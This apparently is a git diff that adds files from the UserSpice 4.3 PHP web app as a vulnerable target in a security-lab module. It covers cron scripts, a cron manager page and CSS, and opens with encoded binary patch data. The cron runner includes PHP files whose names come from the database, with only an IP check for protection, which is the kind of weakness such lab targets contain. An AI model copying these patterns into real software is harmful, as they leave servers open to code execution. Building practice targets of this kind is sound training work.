z`H8>R<;3KV;1xO$D_$@9t$5AT4r}EsS^>-l_K|&VksG4+;5MQlHik+LfF3QJO-4RT zpkha)I$}=c6*7Yj!(+m@TuUMQKsJZ%p`Z_&$7UpwwgCB-Yaf&g?+lxDo*wA_3ek0d zV#A&pjA$xOVqv(w)UZNP%RQrmC%H!Xv!)c><^)19ljs(Sp==Bq?*2TUCYQ?z{9>#FXF&s~**!F5ZqTY5>Pmi3r zOepT5U1{}sZ~p(ieMz&UYMNe!m#n<2$kQ z`Sv&m9p1q@kR6~Glk)sXOxX6t>tThX3)|}Lg)HCjyL=Liv|HU$K@u@mp)Vyb|aFKPZ?=lRBpQp&d6MM(qOwHzGZ(pd1pM zCGa9Ov^_a!Clp%+k$vA_{@!XpnDPXzm;rvvOlDIoyTvF(n8rKea@}gu{Cd9-~xhZ%pG(nA9KID&9JqUPtaN`pVu*fHRw2I5_T z4GNpPoh5dk(FG!Li8*tjq0Ye+hRN>i=sMwC@ufRU3D`Yhhcm}L`a1*4QV|%;`#Ct? zi)o}2#B?hWAn}N1pm>PiqCrA(^y2Jk8c0y5Xd07F*WqCJolNuY%}={?TuoIr!F*swBDc_tHy7b29Zc)ylY{AXp=%jm zVXHRA1v5cvYHb)CxBy@0%f8?5O~6!Lc*#!K&z^bmVnCSbh;js74-n;f#+w4x3ZRdG ztAZQPqba~zDPQHzTz)=t3f&zpEhd=<;c)%`3~N}Q9^fmPdHacKdB2hyQe#AO3q z{i|wIM?$hoe9&H4l0~N_ z7<9%JUlY*6}5}+e9NvKj|0j{ZVjOXffIE{8A<1s zzf*J1Yd>^F}GUSIa+s+YVWgudaVZxb>1vkb78g4 zG8WN5Ce`b)JDgA=Yqkoz)cgcGWpQr;Ji&URiVn(lBOwI98Lq37eL&~?`gmI$2g{Yc zGlmCOM_E3yM-YXx=y7w-@V^4DI>J>UiYBDNC&MkI(hui{0%)Gj4;dAXQq=-_Ong!wTf0@KXCb-n?OnKcIqQ(q26f?HPhF_q?lgrq2sUoSh=wK#EU z@yBU*BtZdMh_`!-a=c}wEiM|RpO#DUk;UAxr81bz(zsk00ScSG*|InCN48Mq+CcWF z+d?VJYddtC)jVHo@)Fe22|3u#RSBHi!p&s2eeGgZ?=2My1sSC=_tAO%&n#I!K|J(1S| z->GsxpiIxBxt-1*4SpWv3Ty9!GQ~oKN>(&z4yN-Y#o-MAc|ya&d3rb{YwB^#u?uhs z9*c5nTxTJe8Z^4?OTML9`jS9hf}QE)4Y$3SOGeERGQaj+x;gAG?Ddw`MgY!N6|hn!eRCCoL}WYeg2hn*+4^)K@VGP(Bv!oWA|$d~)? zKPRFBaD?MjmcPyD2AdD32bn{xc}WsCmPjr;2*z~%;ineLpac81+Z`!y01x!s?S9gv z0CrZ;q`=}Rr-2*i((|Jg0csrX&a%GEFZ?<2wwVRAG)&sBF%8HoT;#{cR-lsc=5W%! z77Kv`fKe>u6)s{xoJV_fDu`E1e^^gI9{aZvy>0NH(F0>M0Q>4!M-A*t;5zpLlHQjq zn9+eHQQi_5eW=T&5Ftxo5OQ$e?^ zzW~*{Ab*&oJiYcJ&uo05-Xmvuo1@;e(eL@rT%QGeyA?DGgX{m|KTrB_H60;}xP>(}uXBsK zC5A>XWQPZZv`q4kTgs$oH#q(1PJ78}70aL?-a*h~Dy_rI?jWo@WDfN35WP9HYA0x4&z$Dp`;xex(7YLZGLqJyIE(HNwfq@?t+(1BB#%XUG`6#{mWtVNan9Jxyn z)jxORUM|Xg7&*~~S^Jl2sIQKG@=K6xbej!vC2a%fBB;aucH5A@bbk1i4g0YJ{a1G- zPa6j3JPfQ8n6vn_VYBLp#TB((1Ewe1#W1|OE$9G#wKV8~g6E&th7G@9!^Xg@Ck*ai z$cBw9M1RI{;LEOLJGYBr9vlEoadt92kB03qZ_lQ#QGj3BOl3w)!$&L|-IP7W=!}xrImCzpOO^n^wRjG%(Je$y@@gR{OA5bG zSlCcIR5+hJkapISFt*V=dQ4Y|=L*+imUmptiJ}JxZ@2HsJNxfNapbm@AZ9$yHz!S6gWK06hCA$y{nn z;Nv{Z+{b>iI~-sqcU>C`H_go8zJtkrBGiRVlr zc2*4T_NiP}gI}`l6blxpV-DqvJT0|Zd2BNk38u1g*2D8Mz-wIX3fQ!uOpOl~6Pw^@ zZ&!!jvAFATW*M<*2jZ;5x>HU~XUUwkK?`Ic88XwkC|sRT1dqDEh_&qvk<6Son=idK zhaOq)faGtt=WRw3r^YTbue2O%DiG)VgoSwBJOI@+0}~}tqAP$s;5qGr3mYvNgjuc} zP=%%JYYGI7_aR>7cZhd-Ol|cZZEe90sGiu*_D!sM{!s=F8ILJ|C3Q7VA)5Xscr7}g zI>8Wh<`F^9#jKQ+#tFAdc(mrO%P0(<SXap{4Jd*Pwr^4?^OjG+n zg5r6fExWs-6cHRj*3|)Z=Pn&0hQHy(BJ=54q;l0J+>!r2HLV~Qs>)f_sv69jab45EYEsHEYa@c*IoHtsP zPlc?jbqMljwE@D5LY^Y%Ot|LLvMFQ1ydGx7=3?LLrKAOWoUu9IMj#Lg7(=_qG;i65 z$)hK;-<<@BjIu&?E~QpWT?GMZ>2;ei&djB<^!mEZtQ>Z)+07n-(-%S^$_` z;04GoG>81=F1Q1go%b6H1cg{o)Gdp7AD*f(nXtY!y|{nmhmDf!Lf!=c%38! zI)%VdRoPm%DaOzBX1M?@bji$(wxt-Ju8yY+@9uin&qDqr>T3Z#X$uJAD_F|8W6jAR zc8zr0^uK%@_~qu|$G-1hn|N7()T|im({bQ);>DbUqvpq{)`L=CltkfqHyqNhcyrSq zCf#x0@a87_Yc~#0e>b?hAsE^m5OB!7O|XDe`|Bs&ao+$CxR-;-pWQe-#&`wg3jyra z>QxN8=LBX3BG{|ksVJ94P894e(K8DN(iiU;si&%AACus<_UQv;0 zv)M-A?Tu!xd|a{#4QGS%KE8{g$SgJ*ohPRywaz*xD(Nc7+3QvHMJeVT-S?-_dGAMB zKxi865PE`8ID1hRYgt;+;M_{$?Ult)(55+_eGbMo=_h$F+{(^*Q*8f*Ge_hL%DJz% zf9kHeKdQ`c9`U^JJnPm46ydfOYO`NMaK>;U-9usZ9nOdFqAoekc+ z^C@G#MeMB2I~KjNiM~;l3a|PlBY87_`RqPO)r?9thz~?xK*Bd0dA#0m7a)d;DTV^_ zd?x;eyZGW-`XeHC*a&krnD6}y?&935hF}q|0ZebKqNmrDA;LrRE5UNW`&$XgIma4K7Poz07@zqq^!S9++_c^llaXtY@@cDt` zONeo~=a>ZIo05J7tQf0I`(wsiQ^Rde&D=F_%ataHfi3{MR2LN?D!B&m5uT1q9gvgA zJq`Nf<#5R68NE*-(gk2DiQT4n`Yin-$C1AJ?(eg9rJJ79Kl@NllOoG0}{c7d!P(B;{<&2VNh?Sca$LxNB2dDTCX6c zN`L=1@AV!QQRV+|^kc?+(-~r_d8!Bs|hr>LN%11V;8YXRmfencV=p zan`YNxt6LTq38{`go$#xEpD1`$9D6O1SUC9jhMqW3uVL#eB{92>rD}li2P=#@_lMS zgwb_TL!e27W_wHD-)~F7lL4hw+vf{9&udV-H9!fw0Ks}@ddyJjveUVcy157X^2jI? zumqc_;?ISM2X?Vz0YLyfe_nm_O<9 zfy1{KZW!SJ^dsY(xDH_D(}4p4PDS@+FRz&^AlX3dh2z#E>UHfd3)%&T zxKe;+Dezjt>9zyl-;79iH2ZLw;7oXJUb)zLoq4NuC>NrN2=fYbx>nrD%)xPSs&!zK zr$a-4K`M|{Ymv;Oy!wWg@*T!mk6m&mRP1^O(IjFhRtHd(CryfmLt~&qM3#zz%Ny%> z%K~O|6EU=Fmx_f$;Y2zsH(~}`0Nc7lI6d8~TC^r=AtwCz2sES?3HSg?@|>W2)G^>N z5ch~)T3VXAG%n6aGPqvzOSv*lwz@S2PPCvb6NVruGS_ge17hf1){!|oyRR+(xbLa{ z;)|R|WA?4G8N{+9bgswqiQ&8-8R^Dc#g z+1$$u>gsN#Z5=)8Vv8E6;ZO6l>#o_Z%3EZ5qL=x}%9c0Q-EL0KMY1m(ai~B#u6#5k zc9|>QZ4Ds?_WmRT^|%)JYde)&o#gCw-4ne9vMyA4y{z{E0-!Ln;0ag0K`fM;%`QH} z`KZF#^`_olZ|I#~*=<|LhkU>Bb5^~Xk~YOtPf|+1RU=!ohmP7Wt`&}nNHVa>10p9o zkdkb;rM}Go2Ph#D4BC#*S~bU zYM88OFx$!2%e%=znH&!CWLthF3g09k@q6fMAV&YO|LA2U@iYJa+5&?+jth+0rv=8( zX#cL**;kZZqwf2g$^**)8|iu$W}xJlje@v`ISs_1R^u5zNRNY~iL?X&c+NA@Jv{Z_ zD<8;0VJ!j9@{v@$1={WV4fMY1k;iH{IwN_g)PiyY#1KfB@0e%M1U4;Gk}M!uQVz2o zl+#9UmCV5j;?c&iH~sRbe7U2NqxT9iAY8iz;=b)+gE8H7dxA>{#t>!}Hd7l3pa)>Hlp zuJxZ^Q$zu1y_$Ztf6<^A9de^cJOt6ds2s9)Wv9=rBm%%CR9E)rz~E}%E5(FR``1`+ z?va_$B((=pKO#43#b+%7w62XPxEXN6XWsltK!5e@2DrVXc%*p^ax8}GV-N%m)q|$s zKUMkugZftk=*1RRcw-yQp?aGv_v{uDcnUMB0E(?$r+QZZQ#%2^ok094P!M{r};8rP_2h*8qXdc{foaMD36Q}yvZKcI3N-h*QG~muFQ&f zJgV$LV8d*_ET&|;&p;YIv)mPS&nT%psKAxM3P!mj@;%WK1BEQaluSTpNxtqd71fzE zK4;NU#e~Og>TgpXcy5VS10B?@R{IbwAOO?Na-Pr+^l*LLSc_hWGfY%#74HKCAhZ~R z-knE1%-Xrk zN{@Jk;IIUmUx))Sn}IlqEE3w9S}*2XjLJ+?>6dG&gzb#6H!XjiX6`gOh=AGfcnI$R zjfrNCx4S^z%$E1NMkDq?X~@pL(DYeeM%VqGJHS-c8CbYtRN37`4A7ZK>V}AxK(TP& z@oy1NKOrcOxW-gSKnZrI&VZD($Ix}%n&-P3a@)Oo(B>%zS@ZjHLyvc7gi_UPA}x?0~WkJKHJ zXckeNrE?vL@FgQ!suH94u)+?O>FzA?YN`pqXxAxe0-fw}FqZ+9a)Z@X7c{zJAhHBu zee&Z(Yj?$j2yBsXD0`M7S5nW>Exug$aVI6%lN_a%yFVZRhlY$^%kq!B7qn$P{Nc;1P8j*!Spe?uEULe{w*v0(GK>C^sjBQ%;Smyz z>bk5y)=^c~E!6h?@33#->U26;)sfdmld@~8uAQ99dh$i$Pk!;wl0v?Dee(OsYterH z`{0>`_DtdZnCv(AXZa@IPl~AjGQIb&--pLupZeY32XPc!#xHh76SePOua60h{dek$ zU?epE7~PYmZQj32isU0a_wL)be*6!wSKhx1lcvhN;p4Nm&AShiXD!FR{w9xdXh*SN zhc;@UWN*n%-hXrRvMzc{?D=q4BrQAx-O`p>30l?fo6d(%ug`v%{0gR#~*GtebNT;`)|gCKhJ6WYT!YKzdOJC{inpntK-jWqJQ`O1e?u?A5wd{ zJDEWD73IW-=D$qd2VLG}An19ECh$v}K<`KOw_l|Bl2iV#meb`g$O&GNw`$c<+ttMv zZTKe`49^yM=|(xppB>cJNe&I3d_2RrdG~VfV>aG|(ect=&_-f0j!nUx$|`Uq|kTxBQ=_g2$oV;KhxK+xvGbP1$J&PXEY? zD(r;6fA<|!JFC1F2Hr=w4!olO@D8}PZ}0x;A7=kFHqdAQ>aKX&FW?Q#M==5K2fKlM z^Vx^jxA`+$Fut;%Kk>W2hqT@oU6w&9U(Cdq2XHSBb#jhd7^B}#)Ff*ruSuLn4IbeOx0-;#88ds!=x?2J`Ix! zO!8=vL24ZaLvfyXlK?VB;K??IWSSEA{X8(f&-yh@86;ry!bw=dOA{49Xf+!2Q<8yY zct6_t-va6A^BceY_L)ft?T92V?eunQ07$;&V~4e)>TtX9?eS<=KGCScDXX&?Ic!vri4*z*WX4)aGqw-3&G@doG*L5N>Ekkg_W0Yg<4bUYHx9Cl!m(sw z2~GCQF^vM4-OA_Vr!s?AWvp6I7Gd%fnfN_|0E_Fy^Gh&0W1GKpG|Y)m)Ms-)JK$M} zmtK9n)x=(wy-cxVgF$CN^TMT1)q&cLCKozB@v_Nt+8RYIzN+STkiWo94jOORjLuEO z!(^vx7J$9hlixB2`25=spfhg>nrTen37t`m<3!^pjC!1GK`-RPgmd6H>~NT9IwC4N zS>)iFsIFvlEvlOd3*S>UV*<)9q5+8-+GNb|H7SvU@9`6b(^mqd%&?*?8pjU^FBueX0l^IA8}>Mj6T_!`uK`M_G?I16;)n`TtM+cHNJyf;o5|=;KSq~FtR*mg)kR62xD9z~b@dMOSH$HvU77yHq38RaLu|arUQ$8SLbHXquery("SELECT cron_ip FROM settings")->first(); +if($settings->cron_ip != ''){ +if($ip != $settings->cron_ip && $ip != '127.0.0.1'){ + logger(1,"CronRequest","Cron request DENIED from $ip."); + die; + } +} +$errors = $successes = []; +$settingsQ = $db->query("Select * FROM settings"); +$settings = $settingsQ->first(); +$from = Input::get('from'); +if($from=='') $from='users/cron_manager.php'; +$checkQuery = $db->query("SELECT id,name FROM crons WHERE file = ? AND active = 1",array("backup.php")); +if($checkQuery->count()==1) { + //Create backup destination folder: $settings->backup_dest + //$backup_dest = $settings->backup_dest; + $backup_dest = "@".$settings->backup_dest;//::from us v4.2.9a + $backupTable = $settings->backup_table; + if($settings->backup_source != "db_table") { + $backupSource = $settings->backup_source; + } + elseif($settings->backup_source == "db_table") { + $backupSource = $settings->backup_source.'_'.$backupTable; + } + $destPath = $abs_us_root.$us_url_root.$backup_dest; + if(!file_exists($destPath)){ + if (mkdir($destPath)){ + $destPathSuccess = true; + //$successes[] = lang('AB_PATHCREATE'); + }else{ + $destPathSuccess = false; + //$errors[] = lang('AB_PATHERROR'); + } + }else{ + //$successes[] = lang('AB_PATHEXISTED'); + } + // Generate backup path + $backupDateTimeString = date("Y-m-d\TH-i-s"); + $backupPath = $abs_us_root.$us_url_root.$backup_dest.'backup_'.$backupSource.'_'.$backupDateTimeString.'/'; + if(!file_exists($backupPath)){ + if (mkdir($backupPath)){ + $backupPathSuccess = true; + }else{ + $backupPathSuccess = false; + } + } + if($backupPathSuccess) { + // Since the backup path is just created with a timestamp, + // no need to check if these subfolders exist or if they are writable + mkdir($backupPath.'files'); + mkdir($backupPath.'sql'); + } + // Backup All Files & Directories In Root and DB + if($backupPathSuccess && $settings->backup_source == 'everything'){ + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + if(backupObjects($backupItems,$backupPath.'files/')){ + //$successes[] = lang('AB_BACKUPSUCCESS'); + }else{ + //$errors[] = lang('AB_BACKUPFAIL'); + } + backupUsTables($backupPath); + $targetZipFile = backupZip($backupPath,true); + if($targetZipFile){ + //$successes[] = lang('AB_DB_FILES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + if(rename($targetZipFile,$backupZipHashFilename)){ + //$successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + }else{ + //$errors[] = lang('AB_NOT_RENAME'); + } + }else{ + //$errors[] = lang('AB_ERROR_CREATE'); + } + } + // Backup Terminus files & all db tables + if($backupPathSuccess && $settings->backup_source == 'db_us_files'){ + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + if(backupObjects($backupItems,$backupPath.'files/')){ + //$successes[] = lang('AB_BACKUPSUCCESS'); + }else{ + //$errors[] = lang('AB_BACKUPFAIL'); + } + backupUsTables($backupPath); + $targetZipFile = backupZip($backupPath,true); + if($targetZipFile){ + //$successes[] = lang('AB_DB_FILES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + if(rename($targetZipFile,$backupZipHashFilename)){ + //$successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + }else{ + //$errors[] = lang('AB_NOT_RENAME'); + } + }else{ + //$errors[] = lang('AB_ERROR_CREATE'); + } + } + // Backup all db tables only + if($backupPathSuccess && $settings->backup_source == 'db_only'){ + backupUsTables($backupPath); + $targetZipFile = backupZip($backupPath,true); + if($targetZipFile){ + $successes[] = lang('AB_DB_ZIPPED'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + if(rename($targetZipFile,$backupZipHashFilename)){ + //$successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + }else{ + //$errors[] = lang('AB_NOT_RENAME'); + } + }else{ + //$errors[] = lang('AB_ERROR_CREATE'); + } + }elseif(!$backupPathSuccess){ + //$errors[] = lang('AB_PATHEXIST'); + }else{ + // Unknown state? Do nothing. + } + // Backup terminus files only + if($backupPathSuccess && $settings->backup_source == 'us_files'){ + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + if(backupObjects($backupItems,$backupPath.'files/')){ + //$successes[] = lang('AB_BACKUPSUCCESS'); + }else{ + //$errors[] = lang('AB_BACKUPFAIL'); + } + $targetZipFile = backupZip($backupPath,true); + if($targetZipFile){ + //$successes[] = lang('AB_T_FILE_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + if(rename($targetZipFile,$backupZipHashFilename)){ + //$successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + }else{ + //$errors[] = lang('AB_NOT_RENAME'); + } + }else{ + //$errors[] = lang('AB_ERROR_CREATE'); + } + } + // Backup single db table only + if($backupPathSuccess && $settings->backup_source == 'db_table'){ + backupUsTable($backupPath); + $targetZipFile = backupZip($backupPath,true); + if($targetZipFile){ + //$successes[] = lang('AB_TABLES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + if(rename($targetZipFile,$backupZipHashFilename)){ + //$successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + }else{ + //$errors[] = lang('AB_NOT_RENAME'); + } + }else{ + //$errors[] = lang('AB_ERROR_CREATE'); + } + } + if($currentPage == "backup.php") { + $query = $db->query("SELECT id,name FROM crons WHERE file = ?",array("backup.php")); + if($user->isLoggedIn()) $user_id=$user->data()->id; + else $user_id=1; + $results = $query->first(); + $cronfields = array( + 'cron_id' => $results->id, + 'datetime' => date("Y-m-d H:i:s"), + 'user_id' => $user_id); + $db->insert('crons_logs',$cronfields); + Redirect::to('../../'. $from); + } } + else { + Redirect::to('../../'. $from .'?err=Cron is disabled, cannot be ran.'); + } + ?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/cron.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/cron.php new file mode 100644 index 000000000..0296ec670 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/cron.php @@ -0,0 +1,37 @@ +query("SELECT cron_ip FROM settings")->first(); +if($settings->cron_ip != ''){ +if($ip != $settings->cron_ip && $ip != '127.0.0.1'){ + logger(1,"CronRequest","Cron request DENIED from $ip."); + die; + } +} +$from = Input::get('from'); +$primaryquery = $db->query("SELECT file FROM crons WHERE active = ? ORDER BY sort",array(1)); +$querycount = $primaryquery->count(); + +//Log Prep +if($user->isLoggedIn()) { $user_id = $user->data()->id; } else { $user_id = 1; } +$logtype = "Cron"; +//Log Prep End + +if($querycount > 0) +{ + $query = $db->query("SELECT id,file FROM crons WHERE active = ? ORDER BY sort",array(1)); + foreach ($query->results() as $row) { + $id = $row->id; + $file = $row->file; + include_once($file); + $cronfields = array( + 'cron_id' => $id, + 'datetime' => date("Y-m-d H:i:s"), + 'user_id' => $user_id); + $db->insert('crons_logs',$cronfields); + } +} + if($from != NULL) Redirect::to('/'. $from); +?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/sample.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/sample.php new file mode 100644 index 000000000..da2280c2f --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/sample.php @@ -0,0 +1,40 @@ +query("SELECT cron_ip FROM settings")->first(); +if($settings->cron_ip != ''){ +if($ip != $settings->cron_ip && $ip != '127.0.0.1'){ + logger(1,"CronRequest","Cron request DENIED from $ip."); + die; + } +} +$errors = $successes = []; + +//your code goes here... +//do whatever you want to do and it will be run automatically when the cron job is triggered. +$user_id = 1; //just for testing purposes. Most cron jobs won't have a logged in user. +die("This is just a sample"); //you can delete this. + + + + +//your code ends here. + +$from = Input::get('from'); +if($from != NULL && $currentPage == $filename) { + $query = $db->query("SELECT id,name FROM crons WHERE file = ?",array($filename)); + $results = $query->first(); + $cronfields = array( + 'cron_id' => $results->id, + 'datetime' => date("Y-m-d H:i:s"), + 'user_id' => $user_id); + $db->insert('crons_logs',$cronfields); + Redirect::to('/'. $from); +} +?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_manager.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_manager.php new file mode 100644 index 000000000..861ee69cf --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_manager.php @@ -0,0 +1,209 @@ +. +*/ +?> + + + +check($_POST,array( + 'name' => array( + 'display' => 'Name', + 'required' => true, + 'min' => 2, + 'max' => 35, + ), + 'file' => array( + 'display' => 'File', + 'required' => true, + 'min' => 2, + 'max' => 35, + ), + 'sort' => array( + 'display' => 'Sort', + 'required' => true, + ), + )); + if($validation->passed()) { + $form_valid=TRUE; + try { + $fields=array( + 'name' => Input::get('name'), + 'file' => Input::get('file'), + 'sort' => Input::get('sort'), + 'createdby' => $user->data()->id, + ); + $db->insert('crons',$fields); + $successes[] = "Cron Added"; + logger($user->data()->id,"Cron Manager","Added cron named $name."); + + } catch (Exception $e) { + die($e->getMessage()); + } + + } +} } +$query = $db->query("SELECT * FROM crons ORDER BY sort,active DESC,id ASC"); +$count = $query->count(); +?> + +

    +
    + +
    +
    + cron_ip == 'off'){echo "Your cron jobs are currently disabled by the system. With great power, comes the need for great responsibility. Please see the note at the bottom of this page.";} ?> +

    Cron Manager

    +
    +
    +



    +
    +
    + + + + + + + + + + + + 0) + { + foreach ($query->results() as $row){ ?> + active==0) {?> bgcolor="#CDCDCD"> + + + + + + + + + + +
    Cron ID / Status
    Cron Name
    Cron File
    Sort
    Created By
    Last Ran
    Functions
    id;?> + - active==0) {?>Inactiveactive==1) {?>Active
    name;?>
    file;?>
    sort;?>
    createdby);?>
    + query("SELECT datetime,user_id FROM crons_logs WHERE cron_id = ? ORDER BY datetime DESC",array($row->id)); + $ranCount = $ranQ->count(); + if($ranCount > 0) { + $ranResult = $ranQ->first();?> + datetime;?> (user_id);?>)Never
    active==1) {?>
    No Cron Jobs
    +
    +
    +
    +
    + + +cron_ip == 'off'){ ?> +A cron job is an automated task which allows you to perform powerful tasks without your interaction. Before implementing cron jobs, +you want to do some thinking about security. In almost all circumstances, you do not want someone to be able to type yourdomain.com/cron/cron.php +and run a bunch of commands on your server.

    + +The recommended way of implementing cron jobs is...
    +Step 1: Go into your server and set your cron job to fire off to yourdomain.com/cron/cron.php every few minutes.
    +Step 2: Go into the system logs and see which ip address was rejected for trying to do a cron job.
    +Step 3: Then go into the admin dashboard" and set that IP address in the 'Only allow cron jobs from the following IP' box.
    +Step 4: Go back into your server and set your cron job for a more reasonable amount of time. Most server admins don't want you running cron jobs every few minutes. Every hour or even every day is more reasonable. + +
    +
    +
    + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_post.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_post.php new file mode 100644 index 000000000..69992eb66 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_post.php @@ -0,0 +1,14 @@ + $value,'modified' => date("Y-m-d H:i:s")); +$select = $db->query("SELECT * FROM crons WHERE id = ?",array($pk)); +$results = $select->first(); +$db->update('crons',$pk,$fields); +logger($user->data()->id,"Cron Manager","Changed $name to $value for $results->name."); + ?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/.htaccess b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/.htaccess new file mode 100644 index 000000000..5a928f6da --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/.htaccess @@ -0,0 +1 @@ +Options -Indexes diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/admin-tabs.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/admin-tabs.css new file mode 100644 index 000000000..2da5b58e9 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/admin-tabs.css @@ -0,0 +1,255 @@ + +.panel.with-nav-tabs .panel-heading{ + padding: 5px 5px 0 5px; +} +.panel.with-nav-tabs .nav-tabs{ + border-bottom: none; +} +.panel.with-nav-tabs .nav-justified{ + margin-bottom: -1px; +} +/********************************************************************/ +/*** PANEL DEFAULT ***/ +.with-nav-tabs.panel-default .nav-tabs > li > a, +.with-nav-tabs.panel-default .nav-tabs > li > a:hover, +.with-nav-tabs.panel-default .nav-tabs > li > a:focus { + color: #777; +} +.with-nav-tabs.panel-default .nav-tabs > .open > a, +.with-nav-tabs.panel-default .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-default .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-default .nav-tabs > li > a:hover, +.with-nav-tabs.panel-default .nav-tabs > li > a:focus { + color: #777; + background-color: #ddd; + border-color: transparent; +} +.with-nav-tabs.panel-default .nav-tabs > li.active > a, +.with-nav-tabs.panel-default .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-default .nav-tabs > li.active > a:focus { + color: #555; + background-color: #fff; + border-color: #ddd; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu { + background-color: #f5f5f5; + border-color: #ddd; +} +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #777; +} +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #ddd; +} +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-default .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #555; +} +/********************************************************************/ +/*** PANEL PRIMARY ***/ +.with-nav-tabs.panel-primary .nav-tabs > li > a, +.with-nav-tabs.panel-primary .nav-tabs > li > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > li > a:focus { + color: #fff; +} +.with-nav-tabs.panel-primary .nav-tabs > .open > a, +.with-nav-tabs.panel-primary .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-primary .nav-tabs > li > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > li > a:focus { + color: #fff; + background-color: #3071a9; + border-color: transparent; +} +.with-nav-tabs.panel-primary .nav-tabs > li.active > a, +.with-nav-tabs.panel-primary .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > li.active > a:focus { + color: #428bca; + background-color: #fff; + border-color: #428bca; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu { + background-color: #428bca; + border-color: #3071a9; +} +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #fff; +} +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #3071a9; +} +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-primary .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + background-color: #4a9fe9; +} +/********************************************************************/ +/*** PANEL SUCCESS ***/ +.with-nav-tabs.panel-success .nav-tabs > li > a, +.with-nav-tabs.panel-success .nav-tabs > li > a:hover, +.with-nav-tabs.panel-success .nav-tabs > li > a:focus { + color: #3c763d; +} +.with-nav-tabs.panel-success .nav-tabs > .open > a, +.with-nav-tabs.panel-success .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-success .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-success .nav-tabs > li > a:hover, +.with-nav-tabs.panel-success .nav-tabs > li > a:focus { + color: #3c763d; + background-color: #d6e9c6; + border-color: transparent; +} +.with-nav-tabs.panel-success .nav-tabs > li.active > a, +.with-nav-tabs.panel-success .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-success 